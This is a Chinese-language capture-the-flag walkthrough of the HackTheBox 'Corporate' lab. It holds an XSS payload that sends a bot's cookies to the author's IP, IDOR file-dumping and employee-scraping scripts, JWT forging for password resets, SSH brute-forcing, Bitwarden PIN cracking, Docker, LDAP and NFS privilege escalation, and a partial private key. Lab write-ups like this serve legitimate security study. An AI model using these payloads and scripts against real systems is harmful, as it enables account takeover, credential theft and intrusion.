HackTheBox - Machine - Corporate

MANESEC on 2024-01-01

Recommend: Let's Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Corporate v2

PWN for 4 days.

0x0 基本的information

bash
# nmap
$ sudo nmap -sS -sC -sV -oA nmap --min-rate=1000 -vv -T5 10.129.xx.xx
80/tcp open  http    syn-ack ttl 63 OpenResty web app server 1.21.4.3
|_http-server-header: openresty/1.21.4.3
|_http-title: Did not follow redirect to http://corporate.htb
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS

看到有domain,隨手ffuf一下。

bash
ffuf -u "http://10.129.xx.xx" -H "Host: FUZZ.corporate.htb"  -w /Tools/Wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt  -fs 175

[Status: 200, Size: 1725, Words: 383, Lines: 39, Duration: 151ms]
    * FUZZ: support

[Status: 403, Size: 159, Words: 3, Lines: 8, Duration: 163ms]
    * FUZZ: git

[Status: 302, Size: 38, Words: 4, Lines: 1, Duration: 171ms]
    * FUZZ: sso

[Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 157ms]
    * FUZZ: people

隨手加入到hosts。

GIT 永遠都是 403

0x1 support.corporate.htb

image

看到有機器人,好像在對話,最容易想到的就是XSS攻擊,所以測試下XSS是否工作。

image

Rabbit Hole: CSWSH 其實在這裏不會工作。

image

隨手輸入 <img src="asdaa"/> 結果變成了一張裂開的圖片,説明這裏可以xss攻擊。

0x2 尋找 XSS 注入點

image

看這段 http 頭,可以看到有一個 unsafe-inline

bash
Content-Security-Policy
	base-uri 'self'; default-src 'self' http://corporate.htb http://*.corporate.htb; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://maps.googleapis.com https://maps.gstatic.com; font-src 'self' https://fonts.googleapis.com/ https://fonts.gstatic.com data:; img-src 'self' data: maps.gstatic.com; frame-src https://www.google.com/maps/; object-src 'none'; script-src 'self'

unsafe-inline: This allows the use of inline resources, such as inline elements, javascript: URLs, inline event handlers, and inline elements. Again this is not recommended for security reasons.

https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass

因爲這裏有 unsafe-inline ,所以不可以直接xss到遠程(類似:script src="http://mane/exp.js" ),CSP會檢查js的目的地是哪裏。

但是如果是使用了unsafe-inline ,CSP允許使用内部的函數跳轉,但不可以直接在html使用<script>alert(1);</script>,允許<script src="http://localhost/a.js"> <script/>,所以就要把命令注入到某個js文件,這些js通常都是動態的,用它自身的脚本的函數去跳轉。

0x3 尋找可利用的js文件

support.corporate.htb 似乎沒有找到比較感興趣的js文件,不過來到 http://corporate.htb

image

現在有一堆js,我們只允許修改 v= 後面的内容,就有機會注入到js裏面,然後就有機會向裏面注入函數。

正常情況下,js一般都是靜態文件,如下:

image

但是 http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js? 會修改内容

image

也就是説這個脚本有機會利用注入。

image

放到這裏 https://deobfuscate.relative.im/ 反混淆看一下。

javascript
const Analytics = _analytics.init({
  app: 'corporate-landing',
  version: 100,
  plugins: [
    {
      name: 'corporate-analytics',
      page: ({ payload: _0x401b79 }) => {
        fetch('/analytics/page', {
          method: 'POST',
          mode: 'no-cors',
          body: JSON.stringify(_0x401b79),
        })
      },
      track: ({ payload: _0x930340 }) => {
        fetch('/analytics/track', {
          method: 'POST',
          mode: 'no-cors',
          body: JSON.stringify(_0x930340),
        })
      },
      identify: ({ payload: _0x5cdcc5 }) => {
        fetch('/analytics/init', {
          method: 'POST',
          mode: 'no-cors',
          body: JSON.stringify(_0x5cdcc5),
        })
      },
    },
  ],
})
Analytics.identify(mane.toString())
Analytics.page()
Array.from(document.querySelectorAll('a')).forEach((_0x40e926) => {
  _0x40e926.addEventListener('click', () => {
    Analytics.track('click', {
      text: _0x40e926.textContent,
      href: _0x40e926.href,
    })
  })
})
document.getElementById('form-submit') &&
  document.getElementById('form-submit').addEventListener('click', () => {
    Analytics.track('sup-sent')
  })

從上面可以看到 mane 直接調用了函數名

image

然後觀察這個網頁,居然也存在XSS注入,如果寫入 <script>alert(1);</script>

image

正如上面所説,CSP允許使用内部的函數跳轉,但不可以直接在html使用<script>alert(1);</script>,允許<script src="http://localhost/a.js"> <script/>

第一次嘗試,强行加載壞壞的js讓他彈個框看看。

image

因爲mane是可以控制的,輸入 ); alert(111111); // 就會變成右邊那個樣子

image

複製這堆東西貼入主頁就知道工不工作了。

image

然後慢慢去調整payload,要不就少了個左括號,要不就少了個數字。直到出現了另一個函數錯誤就説明對齊成功了,這個時候把他輸入到主頁看看。

調整完成的payload如下: 1));alert(111111);//

如下:http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));alert(111111);//

javascript
const Analytics = _analytics.init({
  app: 'corporate-landing',
  version: 100,
  plugins: [
    {
      name: 'corporate-analytics',
      page: ({ payload: _0x401b79 }) => {
        fetch('/analytics/page', {
          method: 'POST',
          mode: 'no-cors',
          body: JSON.stringify(_0x401b79),
        })
      },
      track: ({ payload: _0x930340 }) => {
        fetch('/analytics/track', {
          method: 'POST',
          mode: 'no-cors',
          body: JSON.stringify(_0x930340),
        })
      },
      identify: ({ payload: _0x5cdcc5 }) => {
        fetch('/analytics/init', {
          method: 'POST',
          mode: 'no-cors',
          body: JSON.stringify(_0x5cdcc5),
        })
      },
    },
  ],
})
Analytics.identify(1)
alert(111111)

可以看到32行多出了一個 alert。

image

如果貼入到,看到_analytics 函數未定義,所以在之前還要再加載一個js去定義_analytics 函數 <script src="/vendor/analytics.min.js"></script>

完整的payload如下:<script src="/vendor/analytics.min.js"></script> <script src="http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));alert(111111);//"></script>

測試:http://corporate.htb/<script src="/vendor/analytics.min.js"></script><script src="http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));alert(111111);//"></script>

image

但是我們的目的是XSS攻擊,所以要嘗試跳轉。

因爲雙引號和單引號會搞亂我們的payload,所以盡可能不適用單引號和雙引號,所以用一些巧妙的方法去跳轉。

跳轉測試:http://corporate.htb/<script src="/vendor/analytics.min.js"></script><script src="http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,49,55,47);//"></script>

image

加上cookie : http://corporate.htb/<script src="/vendor/analytics.min.js"></script><script src="http://corporate.htb/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,49,55,47).concat(btoa(document.cookie));//"></script>

0x4 support 發給機器人看看

僞造一個類似 iframe 的東西 <meta http-equiv="refresh" content="0; url=xxxxxxxxxxxx"/>

把上面的payload換成單引號,如下:

bash
<meta http-equiv="refresh" content="0; url=http://corporate.htb/<script src='/vendor/analytics.min.js'></script><script src='/https://files.manesec.com/file/maneimg1/2023-htb/Corporate-MW3oeP3wP6FbAIW/js/analytics.min.js?v=1));document.location=String.fromCharCode(104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,49,55,47).concat(btoa(document.cookie));//'></script>"/>

image

base64 解密一下,得到:

bash
CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MCwibmFtZSI6Ikhlcm1pbmEiLCJzdXJuYW1lIjoiTGV1c2Noa2UiLCJlbWFpbCI6Ikhlcm1pbmEuTGV1c2Noa2VAY29ycG9yYXRlLmh0YiIsInJvbGVzIjpbInNhbGVzIl0sInJlcXVpcmVDdXJyZW50UGFzc3dvcmQiOnRydWUsImlhdCI6MTcwMzA4MzYyOSwiZXhwIjoxNzAzMTcwMDI5fQ.9AzZ_SOJItfAZWY-v52pFntKEkodncV1ZiG7P76NyI0

jwt.io 一下看看:

json
{
  "id": 5077,
  "name": "Cecelia",
  "surname": "West",
  "email": "Cecelia.West@corporate.htb",
  "roles": [
    "sales"
  ],
  "requireCurrentPassword": true,
  "iat": 1703320635,
  "exp": 1703407035
}

這個時候我在好奇一件事情,爲什麽id是5077,所以打算再獲取多一次看看。

image

json
{
  "id": 5074,
  "name": "Nora",
  "surname": "Brekke",
  "email": "Nora.Brekke@corporate.htb",
  "roles": [
    "sales"
  ],
  "requireCurrentPassword": true,
  "iat": 1703323373,
  "exp": 1703409773
}

拿到了兩個用戶,嘗試登陸進去看看

image

清除掉所有cookie,然后把上列的cookie加入到 people.corporate.htb 就可以访问

image

記得這裏的Path 是 /

image

0x5 查找敏感文件

來到文件分享,

image

感覺share的功能怪怪的,

image

只有目的地,沒有一開始的聯係人。

如果自己分享給自己

image

就會報錯,但如果分享給另一個用戶倒是沒有報錯。

現在獲得了兩個用戶,用無痕瀏覽器去加載另一個用戶,嘗試分享不存在的文件

image

是不是有這個漏洞。

image

結果有,也就是說這個api只是檢查email那個是不是自己,并不檢查文件的所有者。

因爲不能分享給自己,可以分享給別人,這樣我只要無限分享給別人,FUZZ一下就可以列出所有文件了。

bash
# 建立一個 0 - 10000的字典
for x in {1..10000}; do echo $x >> fuzzdict.txt ; done

# 修改fileId變成想要的FUZZ的地方
vim req

# ffuf times
ffuf -request req -w fuzzdict.txt -request-proto http

image

image

得到大量的文件

image

嘗試把所有的文件給dump出來

python
import requests
from pathlib import Path

OUTPUT_DIR = "out"

for x in range(1,10000):
    burp0_url = "http://people.corporate.htb:80/sharing/file/%s" % (x)
    burp0_cookies = {"CorporateSSO": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA2OSwibmFtZSI6IkphbW1pZSIsInN1cm5hbWUiOiJDb3JrZXJ5IiwiZW1haWwiOiJKYW1taWUuQ29ya2VyeUBjb3Jwb3JhdGUuaHRiIiwicm9sZXMiOlsic2FsZXMiXSwicmVxdWlyZUN1cnJlbnRQYXNzd29yZCI6dHJ1ZSwiaWF0IjoxNzAzMTQyNDUwLCJleHAiOjE3MDMyMjg4NTB9.6vRoHJRzdLy1KFmbXMS1b-YcR0vBpq9ohYQaozt4bGg", "session": "eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=", "session.sig": "6ZFyxwEHrjOf9vL2-OgzXPQb8hE"}
    burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://people.corporate.htb/sharing", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    req = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
    if (req.status_code == 200):
        read_header = (req.headers["Content-Disposition"])
        filename = read_header[read_header.find("filename")+10: -1]
        print("[*] %s : Found %s ..." % (x,filename))

        if not Path(OUTPUT_DIR).exists():
            Path(OUTPUT_DIR).mkdir()
        with open(OUTPUT_DIR + "/" + filename, "wb") as f:
            f.write(req.content)
            f.close()

image

有個PDF文件,打開看看

image

這裏的提示是初始密碼是:CorporateStarterDDMMYYYY ,生日在系統上就可以獲得。

image

然後ID是5000開始,所以開始dump 所有的email 和 生日,做成一個字典。

python
import datetime

save = open('save.txt','w',encoding='utf-8')

for x in range(5001,6000):
    import requests
    burp0_url = "http://people.corporate.htb:80/employee/%s" % x
    burp0_cookies = {"CorporateSSO": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3NywibmFtZSI6IkNlY2VsaWEiLCJzdXJuYW1lIjoiV2VzdCIsImVtYWlsIjoiQ2VjZWxpYS5XZXN0QGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDMzMjA2MzUsImV4cCI6MTcwMzQwNzAzNX0.Ohap3nxoaSakVhDokLZhsst7Sr0OZq82JGMWEP9S2uI", "session": "eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=", "session.sig": "qf5ADYsgWjTRf8WUjJAj9HEYS20"}
    burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "If-None-Match": "W/\"e93-FDIeVpj05tAMRIoL007GQHMSxSA\""}
    req = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
    if (req.status_code == 200):
        print("Found: "+str(x))
        data = (req.text)

        f = '<table class="table">'
        table_begin = data.find(f) + len(f)
        table_end = data.find("</table>",table_begin)
        table = data[table_begin:table_end]

        f = 'About Me'
        about_begin = table.find('<td>',table.find(f)) + len('<td>')
        about_end = table.find('</td>',about_begin)
        about = table[about_begin:about_end]
        about = about.strip()
        print(about)

        f = 'Roles'
        about_begin = table.find('<td>',table.find(f)) + len('<td>')
        about_end = table.find('</td>',about_begin)
        roles = table[about_begin:about_end]
        roles = roles.strip()
        print(roles)

        f = 'Email'
        about_begin = table.find('mailto:',table.find(f)) + len('mailto:')
        about_end = table.find('">',about_begin)
        email = table[about_begin:about_end]
        email = email.strip()
        print(email)

        f = 'Birthday'
        about_begin = table.find('<td>',table.find(f)) + len('<td>')
        about_end = table.find('</td>',about_begin)
        birth = table[about_begin:about_end]
        birth = birth.strip()
        print(birth)

        dt = datetime.datetime.strptime(birth, "%m/%d/%Y")
        passwd = "CorporateStarter" + dt.strftime('%d%m%Y')

        print(passwd)
        save.writelines("%s|%s\n" % (email,passwd))

save.close()

image

然後用cut 切分成 user.txtpass.txt

0x6 Shell on the box

image

有個很神奇的VPN文件,下載下來,連進去看看,

bash
$ ip a 
6: tun1: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none
    inet 10.8.0.2/24 scope global tun1
       valid_lft forever preferred_lft forever
    inet6 fe80::d4c0:72df:eb08:2b6b/64 scope link stable-privacy proto kernel_ll
       valid_lft forever preferred_lft forever

$ ip r 
10.9.0.0/24 via 10.8.0.1 dev tun1

得到一個 10.9.0.0 的子網,所以nmap掃一下。

bash
Nmap scan report for 10.9.0.1
PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)

80/tcp   open  http     syn-ack ttl 64 OpenResty web app server 1.21.4.3
|_http-title: Did not follow redirect to http://corporate.htb
|_http-server-header: openresty/1.21.4.3
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS

389/tcp  open  ldap     syn-ack ttl 64 OpenLDAP 2.2.X - 2.3.X
636/tcp  open  ssl/ldap syn-ack ttl 64 OpenLDAP 2.2.X - 2.3.X

2049/tcp open  nfs      syn-ack ttl 64 4 (RPC #100003)
3128/tcp open  http     syn-ack ttl 64 Proxmox Virtual Environment REST API 3.0
|_http-server-header: pve-api-daemon/3.0
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
bash
Nmap scan report for 10.9.0.4
Host is up, received echo-reply ttl 63 (0.18s latency).
Scanned at 2023-12-23 17:50:22 CST for 30s
Not shown: 998 closed tcp ports (reset)
PORT    STATE SERVICE REASON         VERSION
22/tcp  open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2f:b1:d4:7c:ac:3a:2c:b1:ee:ee:6f:7f:df:41:29:c3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJkbxANx1rZ6NNOJ9G1R4JD6Og90NJTtookOgtQm0gHJnEaqbj45AQl2+Bi2SXeaZ6LGEC5qyDBAqKYxNtTjVj8=
|   256 f0:25:8e:11:26:bd:f3:78:65:59:32:c3:55:7e:99:e5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICWClTzw/n5oewn15Bnl1DrML3uQLA0XgCzgjy4ySD5v
111/tcp open  rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

從結果上可以猜到 10.9.0.1 是PVE的,10.9.0.4 應該是宿主主機,

image

果不其然,然後發現兩個機器有ssh,使用上面發現的字典,暴力破解times!

bash
$ crackmapexec ssh 10.9.0.1 -u user.txt -p  pass.txt  --continue-on-success --no-bruteforce
$ crackmapexec ssh 10.9.0.4 -u user.txt -p  pass.txt  --continue-on-success --no-bruteforce

10.9.0.1 什麽也沒有,10.9.0.4倒是有幾個賬號,所以登陸進去看看。

image

bash
SSH         10.9.0.4        22     10.9.0.4         [+] elwin.jones:CorporateStarter04041987
SSH         10.9.0.4        22     10.9.0.4         [+] laurie.casper:CorporateStarter18111959
SSH         10.9.0.4        22     10.9.0.4         [+] nya.little:CorporateStarter21061965
SSH         10.9.0.4        22     10.9.0.4         [+] brody.wiza:CorporateStarter14071992

image

拿到 user.txt

bash
elwin.jones@corporate-workstation-04:~$ sudo -s
[sudo] password for elwin.jones:
elwin.jones is not in the sudoers file.  This incident will be reported.

elwin.jones@corporate-workstation-04:~$ id
uid=5021(elwin.jones) gid=5021(elwin.jones) groups=5021(elwin.jones),503(it)

0x7 看到瀏覽器插件有 Bitwarden

通過搜索發現一個神奇的地方:

image

看到其他三個賬號都沒有這個文件夾,只有這個賬號有,所以打包下來,放到本地。

image

然後進去自己的火狐文件夾,把上面的文件全部複製到本地,

bash
cp -rf /home/mane/Corporate/browser/home/guests/elwin.jones/.mozilla/firefox/tr2cgmb6.default-release/* .

瀏覽器打開後下載bitwarn,就看到需要輸入pin

image

網上找一下pin的爆破,可以看到它成功的爆破四位數字,找到了這篇:https://ambiso.github.io/bitwarden-pin/

bash
git clone https://github.com/ambiso/bitwarden-pin bitwarden-pin 
cd bitwarden-pin 

image

通過源碼可以看見,他需要 data.json

所以可以對插件進行 Inspector,得到 data.json

image

view-source: 去掉,在控制臺輸入如下代碼:

javascript
chrome.storage.local.get(null, function(data) {console.log(data);})

image

右鍵複製object,然後保存到 data.json 即可。

從文件可以看到,他是迭代 600000,所以要該脚本

image

把 100000改成 600000

image

然後改一下前面載入的文件

image

跑一下,得到 0239,然後輸入到插件,

image

得到密碼和TOTP。

image

0x8 - git.corporate.htb 修改任意用戶的密碼(除了sysadmin)

把 host 對準 10.9.0.1 git.corporate.htb,進入内網。

image

image

javascript
JWT_SECRET=09cb527651c4bd385483815627e6241bdf40042a

因爲有了JWT_SECRET可以僞造任意的cookie啦,

gitea有三個項目,所以思考下裏面的源碼寫了什麽,有沒有漏洞。

感興趣的地方 #1

http://git.corporate.htb/CorporateIT/corporate-sso/src/branch/master/src/utils.ts

image

不允許修改關於sysadmin組的密碼。

感興趣的地方 #2

http://git.corporate.htb/CorporateIT/corporate-sso/src/branch/master/src/app.ts

image

如果 jwt 的 requireCurrentPasswordfalse 的情況下,就可以不需要當前賬號的密碼。

似乎可以在 http://sso.corporate.htb/reset-password 修改任何賬戶的密碼,除了 sysadmin 組。

問題是需要改哪個高價值的用戶?

枚舉了半天,發現docker的權限怪怪的。

bash
elwin.jones@corporate-workstation-04:~$ docker ps -a
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied

elwin.jones@corporate-workstation-04:~$ ls -lah /var/run/docker.sock
srw-rw---- 1 root engineer 0 Jan  4 10:27 /var/run/docker.sock

engineer 似乎有權限使用docker,因爲只要有權限使用docker就可以快速拿到root。

image

然後隨便挑選一個用戶僞造cookie去修改用戶密碼。

image

json
{"id":5070,"name":"ward","surname":"pfannerstill","email":"Hermina.Leuschke@corporate.htb","roles":["sales"],"requireCurrentPassword":false,"iat":1703083629,"exp":1735716461}

使用這個cookie去登錄

image

快樂的修改密碼,完事后,

image

果然可以使用docker權限。

爲了方便我寫了個脚本去修改密碼

python3
import jwt,json
import base64,sys

# Example
# python3 change.py  

print("[POWER BY MANE]")

changepassword = "powerbymane"

if len(sys.argv) != 3:
        print("[!] Usage: python3 change.py  ")
        exit(0)

# 0x1 Craft JWT Token
name = sys.argv[1]
surname = sys.argv[2]

print("[*] name = " + name)
print("[*] surName = " + surname)

payload = """{
  "id": 5070,
  "name": "%s",
  "surname": "%s",
  "email": "Hermina.Leuschke@corporate.htb",
  "roles": [
    "sales"
  ],
  "requireCurrentPassword": false,
  "iat": 1703083629,
  "exp": 1735716461
} """ % (name,surname)

cookie = jwt.encode(json.loads(payload), '09cb527651c4bd385483815627e6241bdf40042a', algorithm='HS256')
print("[*] Cookie = " + cookie)


# 0x2 Send Request
import requests

burp0_url = "http://sso.corporate.htb:80/reset-password"
burp0_cookies = {"CorporateSSO": cookie}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://sso.corporate.htb", "Connection": "close", "Referer": "http://sso.corporate.htb/reset-password", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"newPassword": changepassword, "confirmPassword": changepassword}
return_html  = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text

# 0x3 get result

print()
from lxml import html
xml = html.fromstring(return_html)
x = xml.xpath("//div[contains(@class, 'alert')]")[0]
print("[!] Server Return: " + x.text_content())

image

0x9 docker to root

因爲裏面的docker什麽也沒有,

image

然後就想辦法import 一個image,參考了docker的save and load大法:

https://docs.docker.com/engine/reference/commandline/save/

https://docs.docker.com/engine/reference/commandline/load/

所以在本地製作一個image先

bash
docker pull alpine:latest
docker save alpine:latest | gzip > mane.tar.gz

然後上傳到對面的機器

bash
docker load < mane.tar.gz

然後就是基本操作。

image

~~0xdeed 值得思考的 LDAP (已打补丁)~~

因爲我有了賬號,其實我可以去ldap看看有什麽。

bash
$ ldapsearch  -H ldap://10.9.0.1 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#

#
dn:
namingContexts: dc=corporate,dc=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

得到 namingContexts 是 dc=corporate,dc=htb

從官網介紹中可以看到 user 是 uid https://www.openldap.org/doc/admin21/intro.html,

這裏盲猜ou是 ou=users(經過反復試出來的)

bash
$ ldapsearch -D 'uid=elwin.jones,ou=users,dc=corporate,dc=htb' -w 'CorporateStarter04041987' -H ldap://10.9.0.1 -x -b "dc=corporate,dc=htb" | tee ldap.log
# extended LDIF
#
# LDAPv3
# base <dc=corporate,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# corporate.htb
dn: dc=corporate,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: corporate
dc: corporate

# Users, corporate.htb
dn: ou=Users,dc=corporate,dc=htb
objectClass: organizationalUnit
ou: Users

# Groups, corporate.htb
dn: ou=Groups,dc=corporate,dc=htb
objectClass: organizationalUnit
ou: Groups

query 自身的一下ID看看

bash
$ ldapsearch -D 'uid=elwin.jones,ou=users,dc=corporate,dc=htb' -w 'CorporateStarter04041987' -H ldap://10.9.0.1 -x -b "uid=elwin.jones,ou=users,dc=corporate,dc=htb" | tee ldap.log
# extended LDIF
#
# LDAPv3
# base <uid=elwin.jones,ou=users,dc=corporate,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# elwin.jones, Users, corporate.htb
dn: uid=elwin.jones,ou=Users,dc=corporate,dc=htb
uid: elwin.jones
uidNumber: 5021
gidNumber: 5021
objectClass: top
objectClass: person
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
objectClass: corpPerson
cn: Elwin Jones
givenName: Elwin
sn: Jones
mail: elwin.jones@corporate.htb
shadowLastChange: 16890
shadowMin: 0
shadowMax: 99999
shadowWarning: 14
shadowInactive: 3
loginShell: /bin/bash
homeDirectory: /home/guests/elwin.jones
labeledURI: ldap:///ou=Groups,dc=corporate,dc=htb??sub?(&(objectclass=posixgro
 up)(memberuid=elwin.jones))
userPassword:: e1NTSEF9VmtGOTVrYzdPZGZNKzgvbzVVNmZrckRLTzgzM0o4dHo=
corpMemberOf: cn=it,ou=Groups,dc=corporate,dc=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

嘗試寫一下ldap,修改gid看看,因爲sudo有可能綁定了gid

看到了這篇 https://www.linuxquestions.org/questions/linux-server-73/give-sudo-access-to-existing-ldap-user-4175605756/#post5710125

bash
$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog
tty:x:5:
......
tape:x:26:
sudo:x:27:
audio:x:29:
......

可以看到 sudo group 在 27

首先要新建一個文件,

bash
elwin.jones@corporate-workstation-04:~$ cat mane.diff
dn: uid=elwin.jones,ou=users,dc=corporate,dc=htb
changetype: modify
replace: gidNumber
gidNumber: 27

然後 ldapmodify,

bash
elwin.jones@corporate-workstation-04:~$ ldapmodify -vx -W -f mane.diff  -D 'uid=elwin.jones,ou=users,dc=corporate,dc=htb' -H  ldap://10.9.0.1 -x
ldap_initialize( ldap://10.9.0.1:389/??base )
Enter LDAP Password:
replace gidNumber:
        27
modifying entry "uid=elwin.jones,ou=users,dc=corporate,dc=htb"
modify complete

可以看到居然可以成功,

然後 sudo -s

image

如果有上面提示的話就要重新登陸一下ssh。

image

0x10 NFS 查找敏感文件

因爲看到有nfs,所以mount 一下看看

image

原來home目錄是遠程挂載,

The NFS protocol has no mechanism for authentication or authorization. The authorization is taken from the available information of the file system where the server is responsible for translating the user information supplied by the client to that of the file system and converting the corresponding authorization information as correctly as possible into the syntax required by UNIX.

The most common authentication is via UNIX UID/GID and group memberships, which is why this syntax is most likely to be applied to the NFS protocol. One problem is that the client and server do not necessarily have to have the same mappings of UID/GID to users and groups. No further checks can be made on the part of the server. This is why NFS should only be used with this authentication method in trusted networks.

https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting

也就是説nfs只認主機,儅拿到了root,就意味著你可以去你想去的地方,乾脆把他mount過來看看。

bash
$ mount.nfs 10.9.0.1:/ /tmp/mane -o nolock

可以看到只是挂載了home目錄。

image

這個時候去找想要的用戶,再次通過ldap,

image

image

可以看到有兩個用戶在 sysadmin 的組裏面,第一個是 amie.torphystevie.rosenbaum ,然後可以根據hacktricks的提示,切換uid即可以進去。

image

找到了一個 id_rsa 文件,嘗試用這個文件登錄 PVE。

image

成功了,這樣就把這個id_rsa給dump下來。

bash
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEApgZFFMMTgdnbECiJXbV85jXxOV9yZNRaLHIfNFfeJJMSQRLC7YEx
E3IyKXIUzLzbHtNgwcbBkDU0DZI2VJhPNWqIETfyrAxnSJ4mUaRdVYHm2HQ5NMWSWW/Vlg
5ci1+DO+oOpyvLBMxNwmzy7dIEkR2XO81W6Aik3WFbSYOCv5f9s/HYEi+6MGYr1Iu+Txqt
ZpjBN7qFXjNngGmG827I/I72Yu/X4yiNKRgmKpzBx0SLySALCa3FI0PJGr4HN12cXeZDGA
xnQ06WM6H4ktS87Qhe+rBduuuMpFVA5kPV3/UrnfJdqLcmWefcvSryRtWuMf5tUdkHiYJY
J6pR8RfbtiH9uEjwemd73Fcuwqu31imG+AYh9l5/BbM0k8cKOd1ldBbNHd0XQhssjgELJF
wMGMC+4WmcB+i1LpKKXw1HIww8cRaONwUUlAq2K5qoP88Fbf26auZ4pdJAzf+9D7a7k07J
o26NFAUW80Wghrca0slQyuXVO5qcJNp6inzCsbodAAAFoGkiCHJpIghyAAAAB3NzaC1yc2
EAAAGBAKYGRRTDE4HZ2xAoiV21fOY18TlfcmTUWixyHzRX3iSTEkESwu2BMRNyMilyFMy8
2x7TYMHGwZA1NA2SNlSYTzVqiBE38qwMZ0ieJlGkXVWB5th0OTTFkllv1ZYOXItfgzvqDq
crywTMTcJs8u3SBJEdlzvNVugIpN1hW0mDgr+X/bPx2BIvujBmK9SLvk8arWaYwTe6hV4z
Z4BphvNuyPyO9mLv1+MojSkYJiqcwcdEi8kgCwmtxSNDyRq+BzddnF3mQxgMZ0NOljOh+J
LUvO0IXvqwXbrrjKRVQOZD1d/1K53yXai3Jlnn3L0q8kbVrjH+bVHZB4mCWCeqUfEX27Yh
